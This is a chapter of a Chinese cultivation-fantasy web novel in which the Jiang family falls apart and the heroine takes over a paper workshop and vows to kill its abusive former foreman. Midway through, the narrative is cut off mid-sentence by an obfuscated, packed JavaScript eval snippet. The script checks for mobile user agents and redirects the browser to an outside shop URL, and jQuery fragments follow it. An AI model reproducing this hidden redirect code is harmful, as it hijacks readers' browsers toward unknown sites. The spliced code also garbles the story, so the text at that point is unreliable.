13.第 13 章
作品:《我真不想当魔头的师妹》 梅洱剑宗灯火通明。
姜府灯火也通明。
那一日走得太过着急,三长老没来得及将姜耀儿那条被斩落的手臂带回来。
剑宗里供请的那位胡姓雀林虽然能断臂重续,但前提是断臂还在。想要无中生有,已经超出了他的能力。
失去持剑的手,等于要了止戈的命。姜耀儿这辈子都没受过这么大的挫折,他脸色极其难看,脾气也因为这般连番刺激而变得更暴戾:“连你也来欺负老子是吗!你他妈的要是不给老子治好,老子……”
“老朽不过一雀林,救命救人,关键在于一个救字。姜公子不过失去了一条胳膊,又不是没命了。”胡老慢悠悠打断他,半点没有被威胁的惧怕:“要么呢,请姜公子把胳膊捡回来。要么呢,另请高明吧。哦,对了,雀林没用,要请农稷,也不用太厉害,五六境就够了,他们可以给你种一根新的胳膊出来。”
姜耀儿被他的措辞说得全身发麻,才要说什么,便听到不远处有女声的尖叫响起:“承脉大会还有七日,我不管你用什么办法,都得给我找一具身体来!我不能这个样子去承脉大会!虞满呢!传信让虞满回来!立刻!马上!让他来给我们撑场面!”
兄妹二人彻夜难眠,发信去往清河坊姜府,希望他们能上归云仙宫,想想办法,请仙宫里的长老出手。
不是不想自己联系玄峰长老,可姜慕儿深知,自己如今这番模样,决计不能让对方看到,否则就算有那帖子,也于事无补。
至于宗主剑印的事情,她用自己仅剩的脑袋寻思一番,决定暂且不告知。毕竟哪怕一母同胞,也未必能真正与她同心,该防,还是要提防的。
还好。
还好她帷幄千里,算算时间,她的好侄子姜崇安拜入赵玄峰门下,也就是这两日了,恰好让他帮自己带话。
届时她重塑肉身,东山再起,指日可待!
……
却不知此时的姜府,也人仰马翻,狼藉一片。
虞花暖的那几道现学现用的请神诀效果惊人,那些屋子有的起火,有的落雨,有的被风刮到半空再砸落,当然,更多的还是简单直接,一声惊雷般的巨响后,就被炸塌了。
塌了这边塌那边,大家哭天喊地中看到姜崇安的那间书房没塌,心中本还是一喜,结果转瞬好不容易推开门,就看到了奄奄一息躺在地上,灵脉破碎,面皮被剥,已经完全是个废人了的姜崇安。
姜家家主姜尊儿双目赤红地盯着自己的儿子看了片刻,再想到自己刚刚看完的信,两眼一黑,直接晕了过去。
一旁等了许久,说好要去归云仙宫接任肥差的姜家大伯颤了颤,也径直跌坐在地。
完了,全完了。
到底是谁对姜家仇恨至此,竟然下此狠手!
他、他的锦绣前程,他的金山银山,难道一夜之间就要化为乌有了吗!
所有人都想到了这日晨间的闹剧,心中多少都有了猜测。
醒来后的姜尊儿颤着手,让手下去要人,再报一次官。有人讷讷地问是否要上报仙宫,请求相助,却被姜尊儿一巴掌打翻在地:“蠢货!这种事情怎么能让仙宫知道!你是想彻底绝了我姜家的所有后路吗!崇安废了,我还有别的儿子可以顶上去,万不能让仙宫知道我们如今的情况!”
他思忖片刻,眼中掠过一道狠色:“去,上呈仙宫,就说崇安外祖有丧事,要延缓三五日守孝,再入仙宫。”
下人忍不住惊诧抬头:“可是……可是他老人家还健在,仙宫中的大能仙师们无所不知,倘若知道我们欺骗……”
然后,他的声音在姜尊儿阴狠的眼神中变低,变无,最后变成了吩咐下去的命令。
破败一片的姜府还来不及修缮,就挂起了白幡。
而姜夫人刚刚经历了儿子彻底成了废人之痛,又得知自己的丈夫心狠至此,竟然不惜手刃了自己的父亲,在出丧那一日,众目睽睽之下,一刀砍向了姜尊儿。
血迹斑驳,将悬挂的白幡染得刺目,却没有伤及要害,姜尊儿按着伤口,正要张口怒骂,指挥下人将姜夫人拿下囚禁,却有一下人颤颤跑来:“老爷,老爷!仙宫回信了——”
“信上说,不懂老爷在说什么,少爷明明已经拜入了玄峰长老门下……”
姜尊儿愣住了。
他低头看着自己胸前的血,看着面前状若疯癫的夫人,再环顾四周刺眼的惨白,突然笑了一声。
然后彻底昏死了过去。
……
姜府门外。
一袭单薄白衣的俊秀少年蹲在地上,挠挠头,眨巴了几下眼睛,有些不可思议:“……这就结束了?看起来好像完全不需要我们推波助澜,再做点什么的样子,这姜家应该也掀不起什么风浪了?”
正是原本被姜府抓去,作为姜崇安预备灵脉素材的拂尘山四师弟谢执襄。
便如虞花暖所说,只要他不那么容易死,她把姜府搅成这般模样,只要有腿,都能跑出来。
他本来就是去探探情况的,姜家对他的那些把戏其实压根什么用都没有。他不过将计就计,想要看看这群人究竟想要做什么。
结果他正躺在关押他的那间房子里哼着小调,结果只听外面轰轰哐哐的几声,门就掉了,也没人管他,他躺了两天什么都没等来,于是就像是逛什么热闹的案发现场一样,一路信步闲庭,到了门口。
……然后遇见了疑似同样在看热闹的二师兄。
谢执襄就这么跟着卫鹤眠看了姜家一出好生精彩的楼起楼塌,啧啧称奇,拊掌而叹:“没想到我三师姐平时不显山不露水,一出手竟然如此……”
他想了半天,一众词语在脑子里转来转去,又觉得太凶神恶煞,所以最终变成了:“如此有二师兄的风范。”
卫鹤眠终于舍得施舍给他一个眼神。
谢执襄继续道:“所以三师姐现在去归云仙宫当卧底了吗?五师妹想必也在来的路上了吧?我们真的只需要在这里等她的消息,不需要帮她什么忙吗?唉,师弟我啊,总是在想要帮忙的时候毫无用处啊。”
他长叹一声,又一声,摇了摇头,发自肺腑般感怀道:“可惜,可惜,热闹都是他们的,我什么也没有,只能和师兄在街边喝着茶摇头惋惜,人生竟是如此的寂寞。”
谢执襄絮絮叨叨半天,自问自答不亦乐乎,早就习惯了卫鹤眠根本不会有什么回应。
未曾想身边之人沉默许久,突然道:“真心是什么东西?”
谢执襄:“……啊?”
他迷茫抬头,然后在心底忍不住感慨一声,他这种死亡角度下的二师兄依然俊美如斯……等等,不是,他刚才说什么来着?
真心?
什么真心?
是指真人的心吗?
谢执襄挠挠头,再挠挠脸,没忍住,还挠了挠下巴。
他见鬼了一样盯着卫鹤眠看了许久,半晌,脑子里也只冒出来一句话。
二师兄被人夺舍啦?
那、那也只能怪夺舍的那人不仅眼神不好,命也不怎么好了。
……
夜色漫长。
虞花暖走了这么一遭,再回到檀宣作坊的时候,天色依然沉沉。
可她离开时的作坊尚一片沉寂,待她归来,竟远远看到,有人举着火把,在路口张望,直至看到她的身影,才猛地停下。
再近一些,便能看清那些人的面容。
正是那日被她分了饭的年轻女子,她塞过回元丹的少年,还有被她顺手帮忙接过了手中的活儿的工友们。
一排人站在那里,竟是蜿蜒成了一条高低错落的火线。
陈把头将她叫醒带走时,明明寂静无声,可还是有人看到了。他们不知道她会被带去那里,什么时候才能回来,也不敢离开檀宣作坊太远,所以他们只是在这里沉默地等待。
他们也不知道自己在等什么。
一个她或许能回来,也或许不会回来的消息。
过去已经有太多他们身边相熟的面孔,莫名消失在了天色昏沉时,那些疑问和微乎的关切都消散埋藏在了恐惧之下。
但这一次,他们不想沉默了。
因为不会再有人在他们最微末之时,还愿意搭一把手,分一口饭,点燃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147683|195681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一簇小却难以熄灭的萤火。
他们想要留住这样的柔软。
虞花暖于是笑了起来。
她走近火把蜿蜒的暖光里,举起了自己成为了新的把头的腰牌和印章:“诸君,从现在开始,我就是檀宣作坊的新把头了。”
一片静默。
有人终于颤颤开口:“那……陈把头呢?”
虞花暖微微一笑:“至少从今以后,他再也不会回到这里了。”
这句话后,大家有如大梦初醒,面面相觑,不可置信。
“当……当真?”有人轻声喃喃:“今后当真不是陈把头主事了?那我也不必……不必因为弄坏了几张檀宣,就要给他还这一生都还不完的债了?”
蓦然又有一声哭泣,那人拖着泪腔:“我的老父老母都已经在为他押送檀宣的路上被杀了,我本以为乃是恶贼所为,可那日无意听到,原来是他一家两吃,自导自演……可怜我的小妹,无依无靠,还被他强抢入后宅,威胁我若不好好干,他就对我小妹……”
“说好了帮他做旧檀宣,帮他偷运出去,就给我分两成利润的……我、我还没拿到钱,可我一家老小都在他的掌握之中,我……”
人声此起彼伏,如山如浪。
没来的那些工友听到动静,也起身来看,然后在闻讯后,如大喜大悲,跌坐在地。
那么多道声音,那么多件事情,桩桩件件,都是血泪。
他们并不在乎有没有人能听到,不在乎会不会有人为他们主持公道,只是过去这数年里,他们碎了的牙齿都只能往自己肚子里咽。
那么多的活儿要做,若是做不完,等待他们的就是死亡,他们的死亡后面,还要连带着串着家人们的血。
他们想要的,只是……只是有一个能够说话的机会。
仅此而已。
虞花暖举着把头腰牌的手渐渐垂了下来。
她只是平静地看着面前的一切,没有安慰,没有劝解,没有悲悯,也没有任何承诺。
因为进入仙宫这件事本身,是他们自己争破头抢夺来的机会。
仙宫从未说过这里是极乐之地,坊间从来都说,最辉煌灿烂的地方,吃人才最不会吐一粒骨头。
事实和真相并未被遮掩,只关乎信与不信。
人总要为自己的选择负责,承担一切后果。
想要鱼跃龙门,想要求财,想要成为所有人艳羡的人上人,拥有命运馈赠的一切,总是有标价的。
在偷卖檀宣的巨大利益链里,每一个卷入其中的人,都不是无辜的。
不去拆穿这一切,只是静静倾听,已经是她的慈悲。
所以等到人声渐熄,天色微明,有人哭够了,演完了,终于偷眼去瞧这位新来的、看起来年纪过轻的少女把头,试图从她的脸上看到什么心软无措之色时,却只看到了她近乎冷漠的平淡。
“诸位,哭完了吗?天亮了,该上工了哦。今天的任务虽然没有昨天那么多,但也要按时完成哦,这次可没有我来帮你们啦。”
她从来都不是来拯救他们的,该被拯救的,也从来都不是他们。
虞花暖温声细语地开口:“如果不能完成,也会有人来带你们去小黑屋的。”
所有人都沉默下来。
仿佛从一个地狱坠落到了另一个地狱。
“另外,如果让我发现有人背着我倒卖檀宣……”虞花暖微微一笑,抬手比了一个动作:“我就送他去当点火的燃料。”
有大娘终于忍不住低声抱怨一句:“小姑娘年纪轻轻,怎么如此心狠……”
虞花暖啼笑皆非地扫去一眼:“因为这个世界上,本就到处都是豺狼,诸位也一把年纪了,难道不明白这个道理吗?”
有人忍不住讷讷道:“小、小虞把头,那……您去哪里?”
虞花暖摆摆手:“大家的心声我都听到啦,新官上任三把火,我也总要给大家表示一下,给大家解决解决后患之忧。”
“怎、怎么解决?”
她回头,嫣然一笑:“谢谢你们在这里等我,我这就去帮你们杀了陈把头。”

